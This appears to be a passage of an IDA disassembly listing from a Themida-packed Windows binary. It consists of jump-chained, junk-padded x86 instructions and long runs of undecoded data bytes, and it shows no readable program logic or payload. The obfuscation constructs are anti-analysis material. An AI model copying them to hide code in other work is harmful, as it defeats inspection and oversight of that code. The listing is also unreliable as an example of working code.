		db 81h,	0C2h, 94h
		dd 897B5C78h, 0D6F75AD6h, 8B7F681h, 0EE8179A5h,	0FDE1F6ADh
		dd 15EF189h, 0C68159CEh, 4, 8904EC83h, 74FF2434h, 8F5E0424h
		dd 505C2404h, 4055854h,	83000000h, 48704E8h, 2C895C24h
		dd 5B97BD24h, 5056625Bh, 336C2E68h, 35485867h, 67336C2Ch
		dd 158C689h, 0D509E9F5h, 0B60FFFFFh, 0EF3EE9C0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53DDE6:				; CODE XREF: Themida_:0053C507j
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5392DD
; ---------------------------------------------------------------------------
byte_53DDF9	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00535214o
		dd 1858669Dh, 0E99C2404h, 0FFFF755Bh, 66B1EA81h, 5952833Bh
		dd 0E5C1815Ah, 291103B2h, 240C8BC8h, 0E9E18951h, 0F76h
		dd 2329B850h, 0D0F76F2Dh, 949E9h
		db 0
byte_53DE31	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005351FCo
		dd 0E171E924h, 0E948FFFFh, 0FFFFEE29h, 205BC480h, 0BAECE9E6h
		dd 0C8BFFFFh, 4C48324h,	0B1E9h,	148B6600h, 0FC76824h, 3C890000h
		dd 30E95624h, 81FFFFDDh, 4C4h, 0E56DE900h, 0D301FFFFh
		dd 241C335Ah, 0FFAB78E9h, 26DEBAFFh, 0EAC1520Fh, 4EC8106h
		dd 89000000h, 7DBE2434h, 2965CB0Eh, 0EA815EF2h,	0FFFFFFFFh
		dd 4EBECA81h, 0BE567728h, 87C100Fh, 815EF229h, 0FD0454C2h
		dd 5AD13152h, 6EC9EF81h, 0CF011A2Fh, 6EC9C781h,	0FD591A2Fh
		dd 7146857h, 515F22DEh,	3670BCB9h, 0F8E1817Eh, 52598810h
		dd 0DC1B951h, 0C5E921BEh, 0D1FFFF80h, 5DBB53E5h, 167D661h
		dd 0F5815BDDh, 1B41F84Dh, 255DE801h, 1F7A3DB5h,	9DF68305h
		dd 0F8ABE9F8h, 0C381FFFFh, 2, 5C241C87h, 2066851h, 76E90000h
		dd 81000000h, 44CE94EEh, 5EF18953h, 4244C31h, 83240C8Bh
		dd 0E7E904C4h, 8BFFFFAEh
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_539904
; ---------------------------------------------------------------------------
		dd 0E388F488h, 0D8285A58h, 5B2434FFh, 3004C483h, 0C0B60FC3h
		dd 24148B66h, 23D4E950h, 0BA520000h, 0A47EA9C8h, 15AD029h
		dd 0EC8358C6h, 0E34CE904h, 1429FFFFh, 0A1C9E924h, 2C89FFFFh
		dd 2C815324h, 425CD124h, 242C8B3Ah, 0FFE0E6E9h,	241489FFh
		dd 0E5508EBAh, 8EF28147h, 0E947E550h, 0FFFF8B78h, 592434FFh
		dd 0ACFEE956h, 5750FFFFh, 0BF1CA3BFh, 1CBE5642h, 0B817173Dh
		dd 55A821BBh, 0FFF500E9h, 0E9815BFFh, 5D31E72h,	311F181h
		dd 0C1817357h, 0A016D6F7h, 37B0BD55h, 0E80166FEh, 0E9C8015Dh
		dd 0FFFFE63Ah, 34E5E381h, 0EBC158F9h, 0FFEB8102h, 55FFFFFFh
		dd 3B26D2BDh, 808FE933h, 8147FFFFh, 0E7008EF7h,	33E7813Eh
		dd 81165A72h, 0CC2734EFh, 5FFA89C6h, 0FFBB23E9h, 24248BFFh
		dd 8B2434FFh, 0C481240Ch, 4, 118DE9h, 5FFE2900h, 0FFF18BE9h
		dd 24248BFFh, 0E9241489h, 0FFFF731Fh, 55AD031h,	352B155Ch
		dd 0F2E9C689h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53E053:				; CODE XREF: Themida_:0053CFA4j
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_53D359
; ---------------------------------------------------------------------------
		dd 0E92414F7h, 0FFFF8E8Dh, 0B9240C89h, 2AF3683Ah, 33FAE981h
		dd 81497866h, 0D4E9BF1h, 59CA01F4h, 0FFE260E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53E081:				; CODE XREF: Themida_:005387DAj
		xor	ebp, 7CC256B0h
		neg	ebp
		inc	ebp
		add	ebp, 77CCB51Bh
		and	ecx, ebp
		jmp	loc_53850C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481243Ch, 4, 535AD529h, 0EB3ADABBh, 0E9D3F72Bh, 2D63h
		dd 81E78957h, 4C7h, 4EF8300h, 0FFE0E7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53E0C1:				; CODE XREF: Themida_:0053B690j
		shr	edi, 8
		jmp	loc_53E8E9
; ---------------------------------------------------------------------------
		db 66h,	5Bh, 52h
		dd 0FFC301E9h, 0D6C381FFh, 8167356Ah, 0EC14B3EBh, 0BBEB8117h
		dd 213BC75Dh, 0C5815BDDh, 0A2F78BA6h, 12E9EF29h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53E0F3:				; CODE XREF: Themida_:0053DBCDj
		and	eax, edx
		jmp	loc_5371CA
; ---------------------------------------------------------------------------

loc_53E0FA:				; CODE XREF: Themida_:005406EDj
		or	ebp, edi
		pop	edi
		sub	ebp, 5A99BFE3h
		add	esi, ebp
		pop	ebp
		jmp	loc_5380D4
; ---------------------------------------------------------------------------

loc_53E10B:				; CODE XREF: Themida_:00540BF8j
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_53585B
; ---------------------------------------------------------------------------
		dd 0E9240489h, 15E2h
; ---------------------------------------------------------------------------

loc_53E12C:				; CODE XREF: Themida_:00535AF3j
		mov	edx, 783422E1h
		and	edx, 713B301Bh
		jmp	loc_5358E7
; ---------------------------------------------------------------------------

loc_53E13C:				; CODE XREF: Themida_:0053CCCAj
		mov	ecx, 20h
		sub	ecx, 463272C6h
		add	ecx, edi
		add	ecx, 463272C6h
		mov	[ecx], eax
		pop	ecx
		mov	eax, [esp]
		jmp	loc_53BFD0
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48124h, 55000000h,	2BDh, 4BB5300h,	0E92DFE13h, 0FFFFF8B1h
; ---------------------------------------------------------------------------

loc_53E174:				; CODE XREF: Themida_:005401F6j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_53A70D
		push	32A2h
		mov	[esp], ebx
		jmp	loc_535768
; ---------------------------------------------------------------------------

loc_53E18B:				; CODE XREF: Themida_:00537BC0j
		and	esi, eax
		pop	eax
		jmp	loc_53D841
; ---------------------------------------------------------------------------
		db 58h
		dd 0F99AEF81h, 0FB012A10h, 83243C8Bh, 0DF0104C4h, 929E9h
		dd 52E95700h, 0BDFFFFDEh, 4A892DEFh, 7A5E9h, 4FD7F700h
		dd 0FFE9C1E9h
		db 0FFh
byte_53E1C1	db 66h,	8Bh, 4		; DATA XREF: Themida_:005352B4o
		dd 0F079E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53E1CA:				; CODE XREF: Themida_:0053722Ej
		shr	ebp, 2
		jmp	loc_53DB97
; ---------------------------------------------------------------------------
		dw 0D5F7h
		dd 72ED8145h, 2921CF83h, 242C8BEAh, 4C481h, 59E90000h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53E1EB:				; CODE XREF: Themida_:0053852Cj
		mov	esi, 414E55E3h
		jmp	loc_53F90F
; ---------------------------------------------------------------------------

loc_53E1F5:				; CODE XREF: Themida_:0053ADE8j
		push	esi
		jmp	loc_538349
; ---------------------------------------------------------------------------
		db 50h
		dd 0FFCC44E9h, 0FECEB6FFh, 0EDF680CEh, 5366D6F6h, 8874B252h
		dd 0DE285AD3h, 5BE95B66h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53E21B:				; CODE XREF: Themida_:0053D673j
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_53CFCE
; ---------------------------------------------------------------------------
byte_53E229	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00535278o
		dd 411589Dh, 2CE99C24h,	81FFFF71h, 0E85696C2h, 8BD18995h
		dd 0C4832414h, 59CA0104h, 12FDE9h, 0DDF75D00h, 5CEE581h
		dd 0F7E93D1Ah, 5AFFFFB7h, 3ECE9h, 46C38100h, 13B86E8h
		dd 742EE9DEh, 0E951FFFFh, 3428h, 51E68956h, 6EE95256h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53E27F:				; CODE XREF: Themida_:0053A940j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_537EF3
; ---------------------------------------------------------------------------
		dd 0E958C629h, 0FFFF752Fh, 5CD468h, 24048900h, 0FFD9D8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53E2A5:				; CODE XREF: Themida_:0053DC01j
		add	esp, 4
		xor	ebx, eax
		pop	dword ptr [eax]
		jmp	loc_535363
; ---------------------------------------------------------------------------

loc_53E2B4:				; CODE XREF: Themida_:00540521j
		sub	edi, ebx
		pop	ebx
		jmp	loc_53987C
; ---------------------------------------------------------------------------

loc_53E2BC:				; CODE XREF: Themida_:005371D0j
		push	edi
		mov	edi, 1BE83A00h
		shl	edi, 2
		inc	edi
		jmp	loc_53F498
; ---------------------------------------------------------------------------
		db 33h
		dd 34312434h, 24343324h, 6624248Bh, 0E924048Bh,	982h, 66CF8966h
		dd 595FFA89h, 0D0316658h, 24148B66h, 6602C483h,	83E9C331h
		dd 31FFFFB3h, 0EF8159CFh, 0FFFFFFFFh, 8904EC83h, 0EC832414h
		dd 240C8904h, 0CC291568h, 0E9815928h, 279118EEh, 53FCE181h
		dd 0F1816665h, 3E8D314Ah, 2159CA89h, 24148BD7h,	0FFE29CE9h
		dd 0F0895DFFh, 0E924348Bh, 0FFFFB0FEh, 0ECE9EE31h, 89000025h
		dd 5355240Ch, 57776BBh,	0E047BD7Ch, 0DD311230h,	97C6E95Bh
		dd 0E289FFFFh, 4C281h, 0C2830000h, 24148704h, 0F788E95Ch
		dd 0C481FFFFh, 4, 8904EC83h, 1FB9240Ch,	1553C22h, 240C8BCEh
		dd 0E904C483h, 0FFFFCCC4h, 0D1F6D9F6h, 0F180D1F6h, 82B4504Dh
		dd 0E600A7B6h, 0E998E958h, 0BA52FFFFh, 2, 2816602Dh, 0D7C4E94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53E3B6:				; CODE XREF: Themida_:0053F6BBj
		neg	bh
		mov	dh, bh
		pop	bx
		neg	dh
		jmp	loc_537952
; ---------------------------------------------------------------------------
		db 1
		dd 81505EF0h, 3DD22434h, 2FE93A9Bh, 29FFFFE7h, 23E95BDDh
		dd 89FFFFC4h, 4C181E1h,	0E9000000h, 0FFFF9EA3h,	713435BFh
		dd 1ACF810Dh, 0C157E128h, 814703EFh, 14A6DF7h, 5FF9310Bh
		dd 731FE181h, 81416A86h, 0EA03A1C1h, 0FFC831DFh, 0E9592434h
		dd 0FFFFFE5Ch, 6AE9505Ch, 100002Eh, 148758C2h, 24248B24h
		dd 8B2434FFh, 0BCE92404h, 1000018h, 5D04246Ch, 0FF6F26E9h
		dd 39B868FFh, 0EE90000h
		db 0BEh, 2 dup(0FFh)
aNhwi		db '­hWi',0             ; DATA XREF: Themida_:00535084o
		dd 24048900h, 984BF768h, 2434FF14h, 0F56FE958h,	0F681FFFFh
		dd 0A254953h, 2A9CEE81h, 0C6813E59h, 8F13EEFEh,	0FFFF4EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53E475:				; CODE XREF: Themida_:00536CE0j
		push	esi
		mov	esi, 558D4F93h
		sub	esp, 4
		jmp	loc_53D97E
; ---------------------------------------------------------------------------

loc_53E486:				; CODE XREF: Themida_:00540A92j
		mov	esp, [esp]
		mov	ax, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		mov	ebp, 2
		push	ebp
		mov	esi, [esp]
		jmp	loc_539B00
; ---------------------------------------------------------------------------

loc_53E4AE:				; CODE XREF: Themida_:00537CF4j
		sub	eax, 0FEE4C0F0h
		add	ecx, eax
		pop	eax
		xor	ecx, 22D9BFFAh
		add	ebp, ecx
		pop	ecx
		push	esi
		push	edi
		mov	edi, 445A2387h
		dec	edi
		neg	edi
		xor	edi, 49224703h
		not	edi
		shl	edi, 2
		xor	edi, 469BD503h
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5406F2
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFF6E73h
; ---------------------------------------------------------------------------

loc_53E4F0:				; CODE XREF: Themida_:00536C4Dj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7B130AB7h
		add	dword ptr [esp+4], 1ECE4C3Ch
		sub	[esp+4], ebp
		push	edx
		mov	edx, 1ECE4C3Ch
		sub	[esp+8], edx
		pop	edx
		mov	ebp, [esp]
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_53EF89
; ---------------------------------------------------------------------------
		dw 0C729h
		dd 0FFFC66E9h, 0E381FFh, 0E909C530h, 0FFFFC370h, 54240C89h
		dd 53240C8Bh, 0E956E389h, 2E4Bh
dword_53E548	dd 0FF2434FFh, 0C9E92434h ; DATA XREF: Themida_:005351ACo
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53E553:				; CODE XREF: Themida_:0053DA8Aj
		pop	edx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	esi
		jmp	loc_53E937
; ---------------------------------------------------------------------------
		dd 0B4CB8143h, 4B3CEB3Eh, 3D42F381h, 0A4E93CFFh, 83FFFF7Dh
		dd 0C8704E9h, 34895C24h, 2474FF24h, 73E95E04h, 83FFFFDDh
		dd 348904ECh, 9C27E924h, 0EE83FFFFh, 24348704h,	2183E9h
		db 0
; ---------------------------------------------------------------------------

loc_53E59D:				; CODE XREF: Themida_:005384D7j
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_53639E
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 0FFB329E9h, 89665CFFh, 0F66240Ch, 5166C8B6h,	6DA1E99Ch
		dd 0F281FFFFh, 3E1C2436h, 4D2DBD55h, 0ED812F72h, 32E40C85h
		dd 1DA4E581h, 0DDF72DFFh, 0FFFBF1E9h
		db 0FFh
byte_53E5E1	db 66h,	8Bh, 24h	; DATA XREF: Themida_:005352BCo
		dd 6D79E924h, 0E95DFFFFh, 0FA3h, 0E4B8505Eh, 0F7272F3Dh
		dd 0C502E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53E5FE:				; CODE XREF: Themida_:005400D6j
		add	dword ptr [esp+4], 79810F4Bh
		sub	[esp+4], edx
		jmp	loc_53BE40
; ---------------------------------------------------------------------------
		db 88h
		dd 83B1E9D1h, 48FFFFFh,	7E1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53E61E:				; CODE XREF: Themida_:0053A991j
		mov	[esp], esi
		push	21E02F02h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_53DA13
; ---------------------------------------------------------------------------
		dd 4B8h, 0DB6EE900h, 0C483FFFFh, 50E7D104h, 668E9h, 8BDD8900h
		dd 0C481241Ch, 4, 0FFEFF5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53E65D:				; CODE XREF: Themida_:00536D62j
		add	esi, 0C3A65CD7h
		mov	ebx, esi
		jmp	loc_538D57
; ---------------------------------------------------------------------------
		dw 6855h
		dd 780551B2h, 81242C8Bh, 4C4h, 0F3F58100h, 0C130C603h
		dd 0C58104E5h, 73CADBF4h, 34FFE801h, 0C4835D24h, 7EBC6804h
		dd 34890000h, 72C9BE24h, 0EE811FFCh, 1FFC72C7h,	0FF71D5E9h
		dd 4B850FFh, 81000000h,	5C5C50EBh, 50C30130h, 5C5C50B8h
		dd 58C30130h, 2628E9h, 673F2D00h, 0BE561AD7h, 593A6548h
		dd 0C102E6C1h, 0E6D108E6h, 0CB57EE81h, 0F001C6CEh, 0E9D8295Eh
		dd 0FFFF939Ch, 5D72F581h, 0EE3138C9h, 53242C8Bh, 0C381E389h
		dd 4, 0FF6C8FE9h, 24148BFFh, 0FC54E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53E70A:				; CODE XREF: Themida_:0053F160j
		pop	eax
		add	esp, 4
		jmp	loc_53D500
; ---------------------------------------------------------------------------

loc_53E713:				; CODE XREF: Themida_:0053EB32j
		push	6402h
		mov	[esp], esi
		push	5101h
		jmp	loc_53C7A0
; ---------------------------------------------------------------------------
		db 0FEh, 0C4h, 0F6h
		dd 7ECC0D4h, 8F7C480h, 0E1C058E1h, 0F6C9FE07h, 0DB0E9D1h
		dd 525C0000h, 153BE9h, 81F10100h, 8148F0C1h, 0E9565E4Eh
		dd 0FFFFD61Ch
; ---------------------------------------------------------------------------

loc_53E754:				; CODE XREF: Themida_:00537836j
		jz	loc_53AB2A
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		push	esi
		mov	esi, 0FAA2F04h
		jmp	loc_53B03A
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 8E8C104h, 691DBE56h,	0F0013FF6h, 0B186055Eh,	0C7290AB9h
		dd 0FF9888E9h, 242C89FFh, 81E78957h, 4C7h, 4EF8300h, 0E9243C87h
		dd 0FFFFD99Eh, 88D08850h, 4CE93847h, 83FFFF81h,	3AE904C3h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53E7BF:				; CODE XREF: Themida_:00539AE7j
		add	eax, 4
		add	eax, 4
		jmp	loc_538842
; ---------------------------------------------------------------------------
		dw 429h
aB_0		db '$,$Â*',0
		db 62h
		dd 8904EC83h, 6852241Ch, 35E37CCEh, 0BCA815Ah, 4A26BF6Bh
		dd 75E2F281h, 0D3892D54h, 245C295Ah, 64E95B04h,	5EFFFF6Bh
		dd 4C481h, 0C6810000h, 4, 4CBBBF57h, 814F6866h,	655F2F7h
		dd 6EFC100h, 8067F781h,	0FE0101A1h, 7C66685Fh, 34890000h
		dd 2474FF24h, 24348B04h, 0FFE135E9h, 0C105FFh, 1BE93254h
		dd 83FFFFC4h, 0BAE904ECh, 68FFFF92h, 1CBDh, 81243489h
		dd 4ECh, 241C8900h, 0B97BEABBh,	0E603BE11h, 0DE011BA5h
		dd 5EF3295Bh, 0FFE4D5E9h, 4C381FFh, 0E9000000h,	0FFFF8918h
		dd 4C48159h, 68000000h,	7881h, 81240C89h, 4ECh,	24148900h
		dd 0FFFBA4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53E899:				; CODE XREF: Themida_:005414B1j
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_53CFBB
		push	ebx
		mov	ebx, 1Ch
		add	ebx, edi
		push	dword ptr [ebx]
		jmp	loc_53A7C4
; ---------------------------------------------------------------------------
		db 68h
		dd 7B6Fh, 0FFBDE4E9h, 241487FFh, 0E954575Ch, 543h, 0E981C129h
		dd 24FE7FB5h, 81C10158h, 782497C1h, 0C358E921h,	0C681FFFFh
		dd 204045h, 2C55E9h
		db 0
; ---------------------------------------------------------------------------

loc_53E8E9:				; CODE XREF: Themida_:0053E0C4j
		xor	edi, 1CAA2F24h
		and	edi, 6ACB75F8h
		jmp	loc_53EF73
; ---------------------------------------------------------------------------

loc_53E8FA:				; CODE XREF: Themida_:00538212j
		push	1A05h
		mov	[esp], ebx
		jmp	loc_53B4DB
; ---------------------------------------------------------------------------
		db 8Fh
		dd 4812404h, 424h, 0E9565B00h, 0FFFFA9DBh, 4C781h, 3C870000h
		dd 0C3285C24h, 809BB151h, 0F18017C9h, 77EB806Bh, 0CEE9CB00h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53E937:				; CODE XREF: Themida_:0053E55Bj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_53A709
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 2F886CC7h, 0C281CA01h, 2F886CC7h, 6A05E959h,	0BD55FFFFh
		dd 4BCD4C93h, 2650ED81h, 0EAE92806h, 0BBFFFF90h, 28h, 388FB01h
		dd 0FF6CEEE9h, 0BF5750FFh, 4EF62130h, 525FF889h, 6A18CFBAh
		dd 40F28120h, 4A2A6772h, 0DAF7DAF7h, 0AF9C281h,	0D0011F9Eh
		dd 1736E9h, 89EE8900h, 0D15D5EF3h, 44C381E3h, 1EB0D7Bh
		dd 241C8BD8h, 4C481h, 0FF500000h, 58042474h, 0E924048Fh
		dd 0FFFF87F6h
dword_53E9CC	dd 79E105ADh, 0F20541ACh, 0E914854Eh, 0FFFF7217h, 5C1D6905h
					; DATA XREF: Themida_:005351CCo
		dd 2DF80168h, 685C1D69h, 0F9B8E95Fh, 0BE56FFFFh, 4, 4247401h
		dd 0FF9774E9h, 81E987FFh, 4300DC1h, 0DEEF8122h,	113523Fh
		dd 0A708E9CFh, 0E95FFFFFh, 23Dh
dword_53EA18	dd 24048B66h, 191CE957h, 0BD550000h, 9AE1097h, 0FF7095E9h
					; DATA XREF: Themida_:005351ECo
		db 0FFh
; ---------------------------------------------------------------------------

loc_53EA2D:				; CODE XREF: Themida_:0053C362j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_536052
; ---------------------------------------------------------------------------
		db 2Dh
		dd 8DEA5085h, 158C301h,	0D255E9C3h, 0F281FFFFh,	25781A79h
		dd 0E908EAC1h, 0FFFFF325h, 31241433h, 14332414h, 24248B24h
		dd 0FFB0AEE9h, 302D2DFFh, 0F00152D4h, 2544E9h, 66F82800h
		dd 0B1516653h, 66CF888Bh, 66F82859h, 7153E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53EA8A:				; CODE XREF: Themida_:0053C81Dj
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	al, dl
		jmp	loc_53D02A
; ---------------------------------------------------------------------------

loc_53EAA5:				; CODE XREF: Themida_:00540AD2j
		mov	ecx, 7C05160h
		jmp	loc_5388B4
; ---------------------------------------------------------------------------
		db 5Fh
		dd 34FFD509h, 89535A24h, 4C381E3h, 0E9000000h, 0FFFFFCF3h
		dd 4C181h, 0C1830000h, 0FCE904h, 875B0000h, 665C243Ch
		dd 5324048Bh, 32A268h, 50426800h, 24890000h, 24048124h
		dd 4, 5324048Fh, 58EE9h, 24348700h, 0FF6F23E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53EB01:				; CODE XREF: Themida_:005376FFj
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_53C099
; ---------------------------------------------------------------------------

loc_53EB0E:				; CODE XREF: Themida_:0053EE20j
		mov	edi, 4
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	eax
		jmp	loc_53E713
; ---------------------------------------------------------------------------

loc_53EB37:				; CODE XREF: Themida_:0053ECF5j
		or	ebp, 3CF80F76h
		add	ebp, 1
		jmp	loc_53C036
; ---------------------------------------------------------------------------
		dd 582434FFh, 4C481h, 5EE90000h, 5100001Fh, 0A04D25B9h
		dd 0C1814134h, 0CB5FB2DEh, 29DCEA81h, 0CA01654Ch, 29DCC281h
		dd 8159654Ch, 4C2h, 0C0F4E900h,	48FFFFFh, 36E95624h, 89000003h
		dd 0E189240Ch, 0CD3AE956h, 2489FFFFh, 24048324h, 3CE95804h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53EB9F:				; CODE XREF: Themida_:0053EDE4j
		add	eax, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	eax, edx
		jmp	loc_536981
; ---------------------------------------------------------------------------

loc_53EBB9:				; CODE XREF: Themida_:00535C0Cj
		not	ebx
		jmp	loc_535EAE
; ---------------------------------------------------------------------------

loc_53EBC0:				; CODE XREF: Themida_:0053BAB5j
		pop	edx
		push	5F28h
		mov	[esp], ebp
		jmp	loc_540CF5
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 0E9515C24h, 0FFFFE055h, 517AB551h, 0FFF0ECE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53EBE1:				; CODE XREF: Themida_:0053580Ej
		xor	esi, 6A2B2FF3h
		push	eax
		mov	eax, 0C1457BAh
		jmp	loc_540DB3
; ---------------------------------------------------------------------------

loc_53EBF2:				; CODE XREF: Themida_:0053FA8Fj
		push	edi
		jmp	loc_53D2B9
; ---------------------------------------------------------------------------
		dd 25DC4BDh, 0F5814526h, 192F3EA0h, 2C8BEF01h, 4C48324h
		dd 6DBE9h, 0B30F6600h, 0E99C2404h, 0FFFF6747h, 4BEh, 5EF70100h
		dd 0FFFCEFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53EC29:				; CODE XREF: Themida_:0053BF24j
		not	edx
		neg	edx
		and	edx, 155E574Dh
		dec	edx
		sub	edx, 0CF38EABBh
		or	edi, edx
		pop	edx
		jmp	loc_53D319
; ---------------------------------------------------------------------------

loc_53EC42:				; CODE XREF: Themida_:0053FE51j
		add	esp, 4
		xor	ebx, eax
		jmp	loc_535977
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFB47BE9h, 8BFE89FFh, 0C483243Ch, 9B99E904h, 6853FFFFh
		dd 7E65h, 89243489h, 4C681E6h, 83000000h, 0FF5604EEh, 8B042474h
		dd 0C4812434h, 4, 0E924048Fh, 0FFFF73F8h
; ---------------------------------------------------------------------------

loc_53EC8C:				; CODE XREF: Themida_:0053AA7Cj
		mov	ecx, ebp
		jmp	loc_536681
; ---------------------------------------------------------------------------

loc_53EC93:				; CODE XREF: Themida_:00540AABj
		push	ebp
		mov	ebp, 0FFFFFFFFh
		add	eax, ebp
		pop	ebp
		push	784Bh
		mov	[esp], edx
		jmp	loc_540BD4
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 2
		dd 4B3F587Ah, 0FF8ECDE9h, 7224B8FFh, 0C731AFE4h, 8BFE3158h
		dd 89E9243Ch, 58000021h, 55595451h, 307524BDh, 86A6E904h
		dd 433FFFFh, 24248B24h,	0BB241C89h, 4DD678C7h, 74C7BD55h
		dd 3AE94DD6h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53ECEF:				; CODE XREF: Themida_:00539670j
		push	2276326Bh
		pop	ebp
		jmp	loc_53EB37
; ---------------------------------------------------------------------------
		dw 0C89h
aHp@		db '$h@',0
		align 2
		dw 489h
		dd 6EB4E924h, 8158FFFFh, 9DF8B8EAh, 0D6C1812Dh,	2946432Bh
		dd 0D6E981D1h, 5A46432Bh, 8EE9CE01h, 59FFFF79h,	518BF780h
		dd 34E9FD88h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53ED33:				; CODE XREF: Themida_:00538BFAj
		add	edi, eax
		pop	eax
		sub	ebp, edi
		jmp	loc_538CA4
; ---------------------------------------------------------------------------

loc_53ED3D:				; CODE XREF: Themida_:005380DAj
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		push	725Ah
		jmp	loc_53B023
; ---------------------------------------------------------------------------
word_53ED4E	dw 0F66h		; DATA XREF: Themida_:00535248o
		dd 80E902B6h, 87FFFFECh, 248B2404h, 8345E924h, 0EBC1FFFFh
		dd 0CAC38107h, 8103FE06h, 0F45BB2CBh, 6EBC136h,	0AD94EB81h
		dd 0DF29FE67h, 0FEC7815Bh, 814D8428h, 9437B9EFh, 0E9C3581Dh
		dd 0FFFF65D3h, 0E30749BEh, 0F181E969h, 0BF57FFFFh, 60531191h
		dd 0FF7BA2E9h, 50FFBFFFh, 0EF814A75h, 0F933ACFh, 2519E9h
		dd 5DE82900h, 0FFEEA2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53EDBD:				; CODE XREF: Themida_:0053C3CFj
		neg	al
		jmp	loc_53BC0D
; ---------------------------------------------------------------------------
		dd 5176F581h, 0EB210302h, 9CEB815Dh, 1000128h, 0B8E95BDFh
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53EDDB:				; CODE XREF: Themida_:0053D502j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_53EB9F
; ---------------------------------------------------------------------------
		db 4Bh,	0E9h, 73h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53EDEF:				; CODE XREF: Themida_:0053CEE5j
		push	2295h
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		jmp	loc_535F68
; ---------------------------------------------------------------------------
		db 8Bh
		dd 24D22424h, 58E99C24h, 5FFFFF65h, 4C781h, 0A4E90000h
		db 0C6h, 2 dup(0FFh)
byte_53EE17	db 8Bh			; DATA XREF: Themida_:00535190o
		dd 44E92424h
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53EE1F:				; CODE XREF: Themida_:0053C8E8j
		push	edi
		jmp	loc_53EB0E
; ---------------------------------------------------------------------------
		db 89h,	0D1h, 5Ah
		dd 0C981415Eh, 26AC429Fh, 4BF5741h, 312EFE70h, 7ADFE9F9h
		db 2 dup(0FFh)
